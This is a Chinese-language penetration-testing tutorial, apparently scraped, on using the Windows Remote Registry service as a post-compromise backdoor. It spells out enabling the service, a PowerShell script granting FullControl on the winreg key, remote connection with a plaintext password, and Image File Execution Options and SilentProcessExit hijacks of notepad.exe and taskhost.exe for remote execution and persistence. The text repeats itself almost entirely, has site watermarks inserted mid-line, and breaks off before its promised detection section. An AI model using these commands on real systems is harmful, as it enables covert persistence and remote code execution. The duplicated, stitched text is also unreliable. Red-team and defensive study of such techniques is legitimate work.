渗透技巧——Windows下的Remote Registry
Windows下的Remote Registry允许远程用户修改当前计算机的注册表设置。
在渗透测试中,获得了管理员权限后,可以利用Remote Registry服务作为后门。
我受到harmj0y博客的启发,打算对Remote Registry的后门利用方法做扩展,并且加入一些我在研究GPO的经验,整理成文。
参考资料:
http://www.harmj0y.net/blog/activedirectory/remote-hash-extraction-on-demand-via-host-security-descriptor-modification/
0x01 简介
本文将要介绍以下内容:
· Remote Registry的开启方法
· 工作组和域环境下的利用方法
· 防御检测
0x01 Remote Registry的正常使用
测试环境:
· Win7x64
· 192.168.112.128
1、开启Remote Registry服务
net start remoteregistry
2、添加ACL(Access Control List)
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
(1)通过界面添加权限,指定用户。
如下图:
(2)通过poweshell实现
添加用户test1的完全访问权限。
$acl = Get-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg $acl
3、远程连接
使用另一台主机,连接192.168.112.128
(1)通过regedit.exe
File-> Connect Network Registry...
如下图:
填入IP,接着输入用户test1的口令,如下图:
连接成功后,如下图:
(2)通过powershell实现
先建立ipc连接:
net use \\192.168.112.128 /u:test1 Password123!
查询192.168.112.128的注册表项:HKLM:\System\CurrentControlSet
$computer1='192.168.112.128'
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine,$computer1)
$RegSubKey = $Reg.OpenSubKey("System\CurrentControlSet")
$RegSubKey.GetSubKeyNames()
0x02 利用方法1:远程执行程序
如果能够修改远程计算机的注册表设置,那么可以选择使用映像劫持,劫持进程的启动或者进程的结束。
1、工作组环境
以劫持notepad.exe为例,实际启动的进程为calc.exe
劫持进程的启动:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"
劫持进程的结束:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\calc.exe"
注:该方法学习自https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
2、域环境
域环境相比于工作组环境,存在一个可稳定的利用进程:taskhost.exe
默认情况下,域环境下的计算机组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新,组策略更新时会启动进程taskhost.exe
也可以强制刷新组策略:
(1)已有域管理员权限,刷新指定计算机的组策略
Invoke-GPUpdate -Computer "TEST\COMPUTER01"
(2)刷新当前计算机的组策略,可用于测试环境下该方法的验证
gpupdate /force
注:详细的利用测试可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》
劫持taskhost.exe进程的启动:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"
劫持taskhost.exe进程的结束:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v GlobalFlag /t REG_DWORD /d 512
Windows下的Remote Registry允许远程用户修改当前计算机的注册表设置。
在渗透测试中,获得了管理员权限后,可以利用Remote Registry服务作为后门。
我受到harmj0y博客的启发,打算对Remote Registry的后门利用方法做扩展,并且加入一些我在研究GPO的经验,整理成文。
参考资料:
http://www.harmj0y.net/blog/activedirectory/remote-hash-extraction-on-demand-via-host-security-descriptor-modification/
0x01 简介
本文将要介绍以下内容:
· Remote Registry的开启方法
· 工作组和域环境下的利用方法
· 防御检测
0x01 Remote Registry的正常使用
测试环境:
· Win7x64
· 192.168.112.128
1、开启Remote Registry服务
net start remoteregistry
2、添加ACL(Access Control List)
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
(1)通过界面添加权限,指定用户。
如下图:
www.wnhack.com
(2)通过poweshell实现
添加用户test1的完全访问权限。
$acl = Get-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg $acl
3、远程连接
使用另一台主机,连接192.168.112.128
(1)通过regedit.exe
File-> Connect Network Registry...
如下图:
无奈人生安全网
填入IP,接着输入用户test1的口令,如下图:
连接成功后,如下图:
(2)通过powershell实现
先建立ipc连接:
net use \\192.168.112.128 /u:test1 Password123!
查询192.168.112.128的注册表项:HKLM:\System\CurrentControlSet
$computer1='192.168.112.128'
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine,$computer1)
$RegSubKey = $Reg.OpenSubKey("System\CurrentControlSet")
$RegSubKey.GetSubKeyNames()
0x02 利用方法1:远程执行程序
如果能够修改远程计算机的注册表设置,那么可以选择使用映像劫持,劫持进程的启动或者进程的结束。
1、工作组环境
以劫持notepad.exe为例,实际启动的进程为calc.exe copyright 无奈人生
劫持进程的启动:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"
劫持进程的结束:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\calc.exe"
注:该方法学习自https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
2、域环境
域环境相比于工作组环境,存在一个可稳定的利用进程:taskhost.exe
默认情况下,域环境下的计算机组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新,组策略更新时会启动进程taskhost.exe 内容来自无奈安全网
也可以强制刷新组策略:
(1)已有域管理员权限,刷新指定计算机的组策略
Invoke-GPUpdate -Computer "TEST\COMPUTER01"
(2)刷新当前计算机的组策略,可用于测试环境下该方法的验证
gpupdate /force
注:详细的利用测试可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》
劫持taskhost.exe进程的启动:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"
劫持taskhost.exe进程的结束:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v GlobalFlag /t REG_DWORD /d 512
copyright 无奈人生